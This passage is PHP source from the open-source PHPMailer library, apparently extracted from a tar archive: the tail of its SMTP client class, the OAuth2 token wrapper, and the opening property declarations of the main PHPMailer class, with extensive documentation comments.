if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } /** * Check connection state. * * @return bool True if connected */ public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { //The socket is valid but we are not connected $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; //everything looks good } return false; } /** * Close the socket and clean up the state of the class. * Don't use this function without first trying to use QUIT. * * @see quit() */ public function close() { $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { //Close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } /** * Send an SMTP DATA command. * Issues a data command and sends the msg_data to the server, * finalizing the mail transaction. $msg_data is the message * that is to be sent with the headers. Each header needs to be * on a single line followed by a <CRLF> with the message headers * and the message body being separated by an additional <CRLF>. * Implements RFC 821: DATA <CRLF>. * * @param string $msg_data Message data to send * * @return bool */ public function data($msg_data) { //This will use the standard timelimit if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } /* The server is ready to accept data! * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into * smaller lines to fit within the limit. * We will also look for lines that start with a '.' and prepend an additional '.'. * NOTE: this does not count towards line-length limit. */ //Normalize line breaks before exploding $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data)); /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field * of the first line (':' separated) does not contain a space then it _should_ be a header, and we will * process all lines before a blank line as headers. */ $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = []; if ($in_headers && $line === '') { $in_headers = false; } //Break this line up into several smaller lines if it's too long //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), while (isset($line[self::MAX_LINE_LENGTH])) { //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on //so as to avoid breaking in the middle of a word $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); //Deliberately matches both false and 0 if (!$pos) { //No nice break found, add a hard break $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { //Break at the found point $lines_out[] = substr($line, 0, $pos); //Move along by the amount we dealt with $line = substr($line, $pos + 1); } //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; //Send the lines to the server foreach ($lines_out as $line_out) { //Dot-stuffing as per RFC5321 section 4.5.2 //https://www.rfc-editor.org/rfc/rfc5321#section-4.5.2 if (!empty($line_out) && $line_out[0] === '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . static::LE, 'DATA'); } } //Message data has been sent, complete the command //Increase timelimit for end of DATA command $savetimelimit = $this->Timelimit; $this->Timelimit *= 2; $result = $this->sendCommand('DATA END', '.', 250); $this->recordLastTransactionID(); //Restore timelimit $this->Timelimit = $savetimelimit; return $result; } /** * Send an SMTP HELO or EHLO command. * Used to identify the sending server to the receiving server. * This makes sure that client and server are in a known state. * Implements RFC 821: HELO <SP> <domain> <CRLF> * and RFC 2821 EHLO. * * @param string $host The host name or IP to connect to * * @return bool */ public function hello($host = '') { //Try extended hello first (RFC 2821) if ($this->sendHello('EHLO', $host)) { return true; } //Some servers shut down the SMTP service here (RFC 5321) if (substr($this->helo_rply, 0, 3) == '421') { return false; } return $this->sendHello('HELO', $host); } /** * Send an SMTP HELO or EHLO command. * Low-level implementation used by hello(). * * @param string $hello The HELO string * @param string $host The hostname to say we are * * @return bool * * @see hello() */ protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } /** * Parse a reply to HELO/EHLO command to discover server extensions. * In case of HELO, the only parameter that can be discovered is a server name. * * @param string $type `HELO` or `EHLO` */ protected function parseHelloFields($type) { $this->server_caps = []; $lines = explode("\n", $this->helo_rply); foreach ($lines as $n => $s) { //First 4 chars contain response code followed by - or space $s = trim(substr($s, 4)); if (empty($s)) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); switch ($name) { case 'SIZE': $fields = ($fields ? $fields[0] : 0); break; case 'AUTH': if (!is_array($fields)) { $fields = []; } break; default: $fields = true; } } $this->server_caps[$name] = $fields; } } } /** * Send an SMTP MAIL command. * Starts a mail transaction from the email address specified in * $from. Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. * Implements RFC 821: MAIL <SP> FROM:<reverse-path> <CRLF> and * two extensions, namely XVERP and SMTPUTF8. * * The server's EHLO response is not checked. If use of either * extensions is enabled even though the server does not support * that, mail submission will fail. * * XVERP is documented at https://www.postfix.org/VERP_README.html * and SMTPUTF8 is specified in RFC 6531. * * @param string $from Source address of this message * * @return bool */ public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); $useSmtputf8 = ($this->do_smtputf8 ? ' SMTPUTF8' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useSmtputf8 . $useVerp, 250 ); } /** * Send an SMTP QUIT command. * Closes the socket if there is no error or the $close_on_error argument is true. * Implements from RFC 821: QUIT <CRLF>. * * @param bool $close_on_error Should the connection close if an error occurs? * * @return bool */ public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror || $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } /** * Send an SMTP RCPT command. * Sets the TO argument to $toaddr. * Returns true if the recipient was accepted false if it was rejected. * Implements from RFC 821: RCPT <SP> TO:<forward-path> <CRLF>. * * @param string $address The address the message is being sent to * @param string $dsn Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE * or DELAY. If you specify NEVER all other notifications are ignored. * * @return bool */ public function recipient($address, $dsn = '') { if (empty($dsn)) { $rcpt = 'RCPT TO:<' . $address . '>'; } else { $dsn = strtoupper($dsn); $notify = []; if (strpos($dsn, 'NEVER') !== false) { $notify[] = 'NEVER'; } else { foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) { if (strpos($dsn, $value) !== false) { $notify[] = $value; } } } $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify); } return $this->sendCommand( 'RCPT TO', $rcpt, [250, 251] ); } /** * Send SMTP XCLIENT command to server and check its return code. * * @return bool True on success */ public function xclient(array $vars) { $xclient_options = ""; foreach ($vars as $key => $value) { if (in_array($key, SMTP::$xclient_allowed_attributes)) { $xclient_options .= " {$key}={$value}"; } } if (!$xclient_options) { return true; } return $this->sendCommand('XCLIENT', 'XCLIENT' . $xclient_options, 250); } /** * Send an SMTP RSET command. * Abort any transaction that is currently in progress. * Implements RFC 821: RSET <CRLF>. * * @return bool True on success */ public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } /** * Send a command to an SMTP server and check its return code. * * @param string $command The command name - not sent to the server * @param string $commandstring The actual command to send * @param int|array $expect One or more expected integer success codes * * @return bool True on success */ protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } //Reject line breaks in all commands if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) { $this->setError("Command '$command' contained line breaks"); return false; } $this->client_send($commandstring . static::LE, $command); $this->last_reply = $this->get_lines(); //Fetch SMTP code and possible error code explanation $matches = []; if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) { $code = (int) $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); //Cut off error code from each response line $detail = preg_replace( "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m', '', $this->last_reply ); } else { //Fall back to simple parsing if regex fails $code = (int) substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array) $expect, true)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } //Don't clear the error store when using keepalive if ($command !== 'RSET') { $this->setError(''); } return true; } /** * Send an SMTP SAML command. * Starts a mail transaction from the email address specified in $from. * Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. This command * will send the message to the users terminal if they are logged * in and send them an email. * Implements RFC 821: SAML <SP> FROM:<reverse-path> <CRLF>. * * @param string $from The address the message is from * * @return bool */ public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } /** * Send an SMTP VRFY command. * * @param string $name The name to verify * * @return bool */ public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", [250, 251]); } /** * Send an SMTP NOOP command. * Used to keep keep-alives alive, doesn't actually do anything. * * @return bool */ public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } /** * Send an SMTP TURN command. * This is an optional command for SMTP that this class does not support. * This method is here to make the RFC821 Definition complete for this class * and _may_ be implemented in future. * Implements from RFC 821: TURN <CRLF>. * * @return bool */ public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } /** * Send raw data to the server. * * @param string $data The data to send * @param string $command Optionally, the command this is part of, used only for controlling debug output * * @return int|bool The number of bytes sent to the server or false on error */ public function client_send($data, $command = '') { //If SMTP transcripts are left enabled, or debug output is posted online //it can leak credentials, so hide credentials in all but lowest level if ( self::DEBUG_LOWLEVEL > $this->do_debug && in_array($command, ['User & Password', 'Username', 'Password'], true) ) { $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT); } else { $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT); } set_error_handler(function () { call_user_func_array([$this, 'errorHandler'], func_get_args()); }); $result = fwrite($this->smtp_conn, $data); restore_error_handler(); return $result; } /** * Get the latest error. * * @return array */ public function getError() { return $this->error; } /** * Get SMTP extensions available on the server. * * @return array|null */ public function getServerExtList() { return $this->server_caps; } /** * Get metadata about the SMTP server from its HELO/EHLO response. * The method works in three ways, dependent on argument value and current state: * 1. HELO/EHLO has not been sent - returns null and populates $this->error. * 2. HELO has been sent - * $name == 'HELO': returns server name * $name == 'EHLO': returns boolean false * $name == any other string: returns null and populates $this->error * 3. EHLO has been sent - * $name == 'HELO'|'EHLO': returns the server name * $name == any other string: if extension $name exists, returns True * or its options (e.g. AUTH mechanisms supported). Otherwise returns False. * * @param string $name Name of SMTP extension or 'HELO'|'EHLO' * * @return string|bool|null */ public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return null; } if (!array_key_exists($name, $this->server_caps)) { if ('HELO' === $name) { return $this->server_caps['EHLO']; } if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used; No information about server extensions available'); return null; } return $this->server_caps[$name]; } /** * Get the last reply from the server. * * @return string */ public function getLastReply() { return $this->last_reply; } /** * Read the SMTP server's response. * Either before eof or socket timeout occurs on the operation. * With SMTP we can tell if we have more lines to read if the * 4th character is '-' symbol. If it is a space then we don't * need to read anything else. * * @return string */ protected function get_lines() { //If the connection is bad, give up straight away if (!is_resource($this->smtp_conn)) { return ''; } $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } $selR = [$this->smtp_conn]; $selW = null; while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { //Must pass vars in here as params are by reference //solution for signals inspired by https://github.com/symfony/symfony/pull/6540 set_error_handler(function () { call_user_func_array([$this, 'errorHandler'], func_get_args()); }); $n = stream_select($selR, $selW, $selW, $this->Timelimit); restore_error_handler(); if ($n === false) { $message = $this->getError()['detail']; $this->edebug( 'SMTP -> get_lines(): select failed (' . $message . ')', self::DEBUG_LOWLEVEL ); //stream_select returns false when the `select` system call is interrupted //by an incoming signal, try the select again if ( stripos($message, 'interrupted system call') !== false || ( // on applications with a different locale than english, the message above is not found because // it's translated. So we also check for the SOCKET_EINTR constant which is defined under // Windows and UNIX-like platforms (if available on the platform). defined('SOCKET_EINTR') && stripos($message, 'stream_select(): Unable to select [' . SOCKET_EINTR . ']') !== false ) ) { $this->edebug( 'SMTP -> get_lines(): retrying stream_select', self::DEBUG_LOWLEVEL ); $this->setError(''); continue; } break; } if (!$n) { $this->edebug( 'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Deliberate noise suppression - errors are handled afterwards $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH); $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL); $data .= $str; //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), //or 4th character is a space or a line break char, we are done reading, break the loop. //String array access is a significant micro-optimisation over strlen if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") { break; } //Timed-out? Log and break $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Now check if reads took too long if ($endtime && time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } /** * Enable or disable VERP address generation. * * @param bool $enabled */ public function setVerp($enabled = false) { $this->do_verp = $enabled; } /** * Get VERP address generation mode. * * @return bool */ public function getVerp() { return $this->do_verp; } /** * Enable or disable use of SMTPUTF8. * * @param bool $enabled */ public function setSMTPUTF8($enabled = false) { $this->do_smtputf8 = $enabled; } /** * Get SMTPUTF8 use. * * @return bool */ public function getSMTPUTF8() { return $this->do_smtputf8; } /** * Set error messages and codes. * * @param string $message The error message * @param string $detail Further detail on the error * @param string $smtp_code An associated SMTP error code * @param string $smtp_code_ex Extended SMTP code */ protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = [ 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex, ]; } /** * Set debug output method. * * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it */ public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } /** * Get debug output method. * * @return string */ public function getDebugOutput() { return $this->Debugoutput; } /** * Set debug output level. * * @param int $level */ public function setDebugLevel($level = 0) { $this->do_debug = $level; } /** * Get debug output level. * * @return int */ public function getDebugLevel() { return $this->do_debug; } /** * Set SMTP timeout. * * @param int $timeout The timeout duration in seconds */ public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } /** * Get SMTP timeout. * * @return int */ public function getTimeout() { return $this->Timeout; } /** * Reports an error number and string. * * @param int $errno The error number returned by PHP * @param string $errmsg The error message returned by PHP * @param string $errfile The file the error occurred in * @param int $errline The line number the error occurred on */ protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { $notice = 'Connection failed.'; $this->setError( $notice, $errmsg, (string) $errno ); $this->edebug( "$notice Error #$errno: $errmsg [$errfile line $errline]", self::DEBUG_CONNECTION ); } /** * Extract and return the ID of the last SMTP transaction based on * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. * Relies on the host providing the ID in response to a DATA command. * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null */ protected function recordLastTransactionID() { $reply = $this->getLastReply(); if (empty($reply)) { $this->last_smtp_transaction_id = null; } else { $this->last_smtp_transaction_id = false; foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { $matches = []; if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { $this->last_smtp_transaction_id = trim($matches[1]); break; } } } return $this->last_smtp_transaction_id; } /** * Get the queue/transaction ID of the last SMTP transaction * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null * * @see recordLastTransactionID() */ public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } OAuth.php 0000644 00000007317 15173701274 0006314 0 ustar 00 <?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; use League\OAuth2\Client\Grant\RefreshToken; use League\OAuth2\Client\Provider\AbstractProvider; use League\OAuth2\Client\Token\AccessToken; /** * OAuth - OAuth2 authentication wrapper class. * Uses the oauth2-client package from the League of Extraordinary Packages. * * @see https://oauth2-client.thephpleague.com * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> */ class OAuth implements OAuthTokenProvider { /** * An instance of the League OAuth Client Provider. * * @var AbstractProvider */ protected $provider; /** * The current OAuth access token. * * @var AccessToken */ protected $oauthToken; /** * The user's email address, usually used as the login ID * and also the from address when sending email. * * @var string */ protected $oauthUserEmail = ''; /** * The client secret, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientSecret = ''; /** * The client ID, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientId = ''; /** * The refresh token, used to obtain new AccessTokens. * * @var string */ protected $oauthRefreshToken = ''; /** * OAuth constructor. * * @param array $options Associative array containing * `provider`, `userName`, `clientSecret`, `clientId` and `refreshToken` elements */ public function __construct($options) { $this->provider = $options['provider']; $this->oauthUserEmail = $options['userName']; $this->oauthClientSecret = $options['clientSecret']; $this->oauthClientId = $options['clientId']; $this->oauthRefreshToken = $options['refreshToken']; } /** * Get a new RefreshToken. * * @return RefreshToken */ protected function getGrant() { return new RefreshToken(); } /** * Get a new AccessToken. * * @return AccessToken */ protected function getToken() { return $this->provider->getAccessToken( $this->getGrant(), ['refresh_token' => $this->oauthRefreshToken] ); } /** * Generate a base64-encoded OAuth token. * * @return string */ public function getOauth64() { //Get a new token if it's not available or has expired if (null === $this->oauthToken || $this->oauthToken->hasExpired()) { $this->oauthToken = $this->getToken(); } return base64_encode( 'user=' . $this->oauthUserEmail . "\001auth=Bearer " . $this->oauthToken . "\001\001" ); } } PHPMailer.php 0000644 00000565071 15173701274 0007063 0 ustar 00 <?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = ''; /** * The From name of the message. * * @var string */ public $FromName = ''; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see https://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Contenttype header "text/calendar" * * @var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "<id@domain>", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2. * If not specified, the first one from that list that the server supports will be selected. * * @var string */ public $AuthType = ''; /** * SMTP SMTPXClient command attributes * * @var array */ protected $SMTPXClient = []; /** * An implementation of the PHPMailer OAuthTokenProvider interface. * * @var OAuthTokenProvider */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's outcome (success or failure) is not yet decided. * * @see https://www.rfc-editor.org/rfc/rfc3461.html#section-4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep the SMTP connection open after each message. * If this is set to true then the connection will remain open after a send, * and closing the connection will require an explicit call to smtpClose(). * It's a good idea to use this if you are sending multiple messages as it reduces overhead. * See the mailing list example for how to use it. * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see https://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = 